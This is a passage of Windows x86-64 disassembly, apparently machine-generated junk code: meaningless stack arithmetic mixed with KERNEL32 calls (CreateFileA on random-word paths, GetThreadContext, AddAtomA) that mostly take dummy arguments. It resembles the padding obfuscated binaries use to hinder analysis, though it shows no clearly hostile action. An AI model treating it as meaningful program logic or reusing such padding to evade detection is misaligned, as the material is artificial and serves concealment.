mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0xac10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x95c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
mov word [rsp + 0xfd4], ax
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xde4]
sar eax, cl
mov word [rsp + 0xe38], ax
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax]
mov qword [rsp + 0xb578], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4774], eax
lea rdx, [rsp + 0xb580]
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4968], eax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x48dc]
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa28]
mov rcx, qword [rsp + 0xa238]
mov qword [rsp + 0xb588], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb588]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb2f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4974], eax
mov rax, qword [rsp + 0xacb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad40]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e6030], ax
mov rax, qword [rsp + 0xa2c0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e741a]
xor eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov byte [rcx], al
movzx eax, word [rsp + 0xc18]
mov word [rsp + 0xfd8], ax
mov ecx, reloc.COMCTL32.dll_DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4940], eax
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4668], eax
movsx eax, word [rsp + 0xe08]
movsx ecx, word [rsp + 0xccc]
sub eax, ecx
mov word [rsp + 0xba8], ax
movzx ecx, word [rsp + 0xbfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [0x1401e7750]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb318]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaca8]
mov byte [rcx], al
lea rax, [rsp + 0xa870]
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xb018]
mov rcx, qword [rsp + 0x9458]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0xad00]
mov rax, qword [rax]
mov qword [rsp + 0xb598], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac58]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3532
mov r9d, 0x266f
mov r8d, 0x36b9
mov edx, 0x2965
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x48cc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xb5a0], rax
lea rdx, [rsp + 0x282d0]
mov rcx, qword [rsp + 0xaa80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4238], eax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [0x1401e6076], al
lea rax, [0x1401e603c]
mov qword [rsp + 0xb5a8], rax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x95c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9788]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
movzx eax, byte [0x1401e743b]
mov byte [rsp + 0x137], al
mov r9d, 0x2152
xor r8d, r8d
lea rdx, [rsp + 0xb1e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0x9270]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
mov rax, qword [rsp + 0xa070]
mov rax, qword [rax]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0x9968]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bf0]
mov rcx, qword [rsp + 0xaa40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa0a8]
mov dword [rcx], eax
lea rax, [rsp + 0x5f]
mov qword [0x1401e7820], rax
mov rax, qword [0x1401e7768]
movzx eax, word [rax]
mov word [rsp + 0xfe0], ax
movzx eax, word [rsp + 0xdfc]
movzx ecx, word [rsp + 0xebc]
imul eax, ecx
mov rcx, qword [rsp + 0xb0c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa698]
movzx eax, byte [rax]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf8c]
and eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov word [rcx], ax
mov eax, dword [rsp + 0x455c]
mov rcx, qword [rsp + 0xac40]
mov qword [rsp + 0xb5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x484c], eax
lea rdx, [rsp + 0x4948]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4978], eax
lea rax, [rsp + 0x9778]
mov qword [rsp + 0xb5c0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0b8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x9d48]
mov qword [rsp + 0xb5c8], rax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0xe7]
sar eax, cl
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa280]
movsx eax, word [rax]
mov rcx, qword [0x1401e7670]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e60c8], ax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9820]
mov byte [rcx], al
lea rax, [rsp + 0xd1c]
mov qword [rsp + 0xb5d0], rax
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xa8f8]
mov rax, qword [rax]
mov qword [rsp + 0xb5d8], rax
mov rax, qword [rsp + 0x90a0]
mov ecx, dword [rsp + 0x4600]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44f8], eax
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x497c], eax
lea rcx, [rsp + 0x96e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f38]
mov rax, qword [rax]
mov qword [rsp + 0xb5e0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb9b9
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48f4], eax
mov eax, dword [rsp + 0x46b0]
mov ecx, dword [rsp + 0x443c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x466c], eax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
add eax, ecx
mov rcx, qword [rsp + 0xa2e8]
mov byte [rcx], al
mov rax, qword [0x1401e74c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov rcx, qword [0x1401e7460]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0x9f]
mov qword [rsp + 0xb5e8], rax
movsx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0xa710]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
lea rax, [0x1401e6088]
mov qword [rsp + 0xb5f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:Rhesus_footbath_variegatedSunniest_sonorities
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb5f8], rax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xaf88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48b4], eax
movzx ecx, word [rsp + 0xd24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4598]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov dword [rsp + 0x4980], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb0b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa510]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x99d0], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [rsp + 0xfe4], ax
lea rax, [0x1401e6040]
mov qword [0x1401e7828], rax
mov rax, qword [rsp + 0xb0d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa728]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x110]
or eax, ecx
mov rcx, qword [rsp + 0xafc8]
mov byte [rcx], al
lea rax, [0x1401e75b8]
mov qword [rsp + 0xb600], rax
mov rax, qword [rsp + 0xb338]
mov rcx, qword [rsp + 0x9520]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0xb598]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4244]
shl eax, cl
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xa888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe94]
sar eax, cl
mov rcx, qword [rsp + 0xb058]
mov word [rcx], ax
lea rax, [0x1401e606a]
mov qword [0x1401e7830], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72]
and eax, ecx
mov rcx, qword [rsp + 0xad70]
mov byte [rcx], al
lea rax, [rsp + 0xf30]
mov qword [rsp + 0xb610], rax
movzx eax, word [rsp + 0xce4]
movzx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
movzx eax, word [rsp + 0xbd0]
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xac58]
mov rcx, qword [rsp + 0x9a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xac58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaa48], rax
lea rax, [rsp + 0xb208]
mov qword [rsp + 0xb618], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x9e38]
mov rcx, qword [rsp + 0x9cf0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4858], eax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0x91]
add eax, ecx
mov rcx, qword [0x1401e75c8]
mov byte [rcx], al
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xb620], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rdx, [rsp + 0x4550]
mov rcx, qword [rsp + 0xb400]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
movzx eax, byte [0x1401e6067]
mov rcx, qword [rsp + 0xaba0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa248]
mov byte [rcx], al
movzx eax, byte [rsp + 0x10c]
mov byte [rsp + 0x139], al
mov eax, dword [rsp + 0x4688]
mov ecx, dword [rsp + 0x495c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xa6c8]
mov rax, qword [rax]
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb1f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac08], rax
movzx ecx, word [rsp + 0xbec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdcc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xb630], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb630]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4798], eax
lea rax, [0x1401e6060]
mov qword [0x1401e7838], rax
lea rcx, str.Alterego_adjuncts_Blurry_Pleats
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xfec], ax
lea rax, [rsp + 0x12b]
mov qword [rsp + 0xb638], rax
movzx eax, word [rsp + 0xfcc]
movzx ecx, word [rsp + 0xc84]
or eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x13a], al
movzx eax, word [rsp + 0xfb4]
mov rcx, qword [rsp + 0xb560]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9b20]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x47b8], eax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
lea rax, [rsp + 0xa058]
mov qword [rsp + 0xb640], rax
mov rax, qword [rsp + 0xa618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4390], eax
mov eax, dword [rsp + 0x4458]
mov ecx, dword [rsp + 0x4674]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4394], eax
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x498c], eax
mov rax, qword [rsp + 0xa660]
mov qword [rsp + 0xb648], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0xaaf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7560], ax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xd20]
sub eax, ecx
mov rcx, qword [rsp + 0xa560]
mov word [rcx], ax
lea rcx, [rsp + 0x2a4e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4238], eax
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0xa2d8]
movzx eax, byte [rax]
mov byte [rsp + 0x13b], al
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0xb430]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10c], al
mov edx, 0xa55
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4994], eax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0xe48]
add eax, ecx
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0xb008]
mov eax, dword [rax]
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4848]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf68]
mov rax, qword [rax]
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb558]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6077], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4ee
mov r9d, 0x19b2
mov r8d, 0xa916dc45
mov edx, 2
mov rcx, qword [rsp + 0xa538]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4904], eax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9e30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
sub eax, ecx
mov rcx, qword [rsp + 0xb070]
mov word [rcx], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0xb658], rax
mov dword [rsp + 0x2a620], 0x94
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc50]
sub eax, ecx
mov word [rsp + 0xd8c], ax
lea rcx, [rsp + 0x25638]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xee8]
mov qword [rsp + 0xb660], rax
mov rax, qword [rsp + 0xa320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4378]
shl eax, cl
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x8cc8]
mov qword [rsp + 0xb668], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb668]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb5c0]
mov rax, qword [rax]
mov qword [rsp + 0xb670], rax
mov rax, qword [rsp + 0x8fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4450]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9780]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movsx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0xb108]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e7830]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx eax, word [rsp + 0xc98]
mov word [rsp + 0xff0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x9818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xec8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:consultative_frustratedly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb678], rax
movzx eax, word [rsp + 0xcbc]
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0xa5c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0xb3a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa848], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4430], eax
mov rax, qword [rsp + 0xa5a0]
mov qword [rsp + 0xb680], rax
movzx ecx, word [rsp + 0xdb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd24], ax
lea rcx, str.accolades_Hailstorms_Tolerated_Trawlnet_Wrasse
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x45f0], eax
lea rax, [rsp + 0x443c]
mov qword [rsp + 0xb688], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7700]
mov byte [rcx], al
mov rax, qword [rsp + 0xa880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc6c]
sub eax, ecx
mov word [rsp + 0xc38], ax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0x9d]
and eax, ecx
mov byte [rsp + 0x11c], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4680], eax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0x9738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa688]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb5d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x45dc]
mov dword [rsp + 0x499c], eax
mov rax, qword [rsp + 0x9d28]
mov rcx, qword [rsp + 0xb370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb268], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x9568]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47b0], eax
mov rax, qword [rsp + 0xb410]
mov rax, qword [rax]
mov qword [rsp + 0xb698], rax
movzx eax, word [rsp + 0xfb8]
mov word [0x1401e7840], ax
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xc04]
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0xb418]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:heatwaveDerates
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb6a0], rax
mov rax, qword [rsp + 0xa400]
movzx eax, byte [rax]
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48a8]
shl eax, cl
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0xa908]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9cc8], rax
mov eax, dword [rsp + 0x47a4]
mov dword [rsp + 0x49a0], eax
mov rax, qword [rsp + 0xaa58]
movzx ecx, al
mov rax, qword [rsp + 0x9258]
sar rax, cl
mov qword [rsp + 0xb208], rax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0xb6a8], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
and eax, ecx
mov rcx, qword [0x1401e7440]
mov word [rcx], ax
movsx eax, word [rsp + 0xba4]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x105]
add eax, ecx
mov byte [rsp + 0xd2], al
movzx ecx, word [rsp + 0xe5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf64], ax
mov rcx, qword [rsp + 0xa308]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4414], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x49a4], eax
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0xa058]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa700], rax
lea rax, [rsp + 0x44bc]
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xaa60]
mov rcx, qword [rsp + 0xa070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6d8], rax
lea rdx, [rsp + 0x4638]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4988], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4464]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49a8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46ac], eax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xb6b8], rax
movzx ecx, word [rsp + 0xe20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xbc0]
mov rcx, qword [rsp + 0xa970]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60f8], ax
mov rax, qword [rsp + 0xb228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa328]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
